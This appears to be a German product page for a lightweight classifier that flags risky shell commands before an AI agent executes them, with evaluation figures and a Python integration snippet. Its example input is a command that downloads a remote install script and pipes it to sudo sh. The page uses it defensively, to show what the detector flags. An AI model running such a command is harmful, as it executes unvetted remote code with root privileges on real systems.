Patronus
  • Apache 2.0
  • TF-IDF und logistische Regression
  • 4,1 MB
  • CPU ohne ONNX

Cat Shell Risk Commander
Shell-Befehle

Markiert riskante Shell-Befehle und Skripte, bevor ein Agent sie ausführt. Ein linearer Klassifikator auf Zeichen- und Token-Merkmalen, ohne neuronales Netz.

Auf Hugging Face patronus-studio/cat-shell-risk-commander

Steckbrief.

Aufgabe

Tool- und Agent-Risiken

Tool-Aufrufe, Agent-Schritte und Shell-Befehle bewerten

Signal

RISK_FLAG

Evaluation
F1 94,20 % bei 0,86 % False-Positive-Rate auf dem A1-Test (5.948 Befehle, Standardschwelle).
Formate
Ein JSON-Artefakt mit Python-Loader, läuft mit NumPy und scikit-learn
Lizenz
Apache 2.0
Hugging Face
patronus-studio/cat-shell-risk-commander

So arbeitet Cat Shell Risk Commander.

Cat Shell Risk Commander

Eingang

curl -s https://extern.example/install.sh | sudo sh

Ausgang

RISK_FLAG

Regel der Anwendung: Befehl erst nach Bestätigung ausführen

Evaluation.

Modellkarte mit Protokoll

94,20 %

F1 94,20 % bei 0,86 % False-Positive-Rate auf dem A1-Test (5.948 Befehle, Standardschwelle).

Einbauen.

Patronus Ark lädt das Modell und führt es auf der CPU aus. Den Quickstart mit Transformers oder ONNX Runtime zeigt die Modellkarte.

Quickstart in der Modellkarte Alle Wege für Entwickler Integration besprechen
Patronus Ark · Python
pip install patronus-ark

from patronus_ark import SecurityGateway

scanner = SecurityGateway(
    categories=["injection", "dlp", "pii"], max_level="l2",
)
scanner.warmup()
scanner.enqueue("Text to inspect")
while (event := scanner.consume_next_event(timeout=1.0)) is not None:
    if event["event_type"] == "result":
        r = event["result"]
        print(r["category"], r["class_name"], r["confidence"])
    else:
        break

Zum Weiterlesen.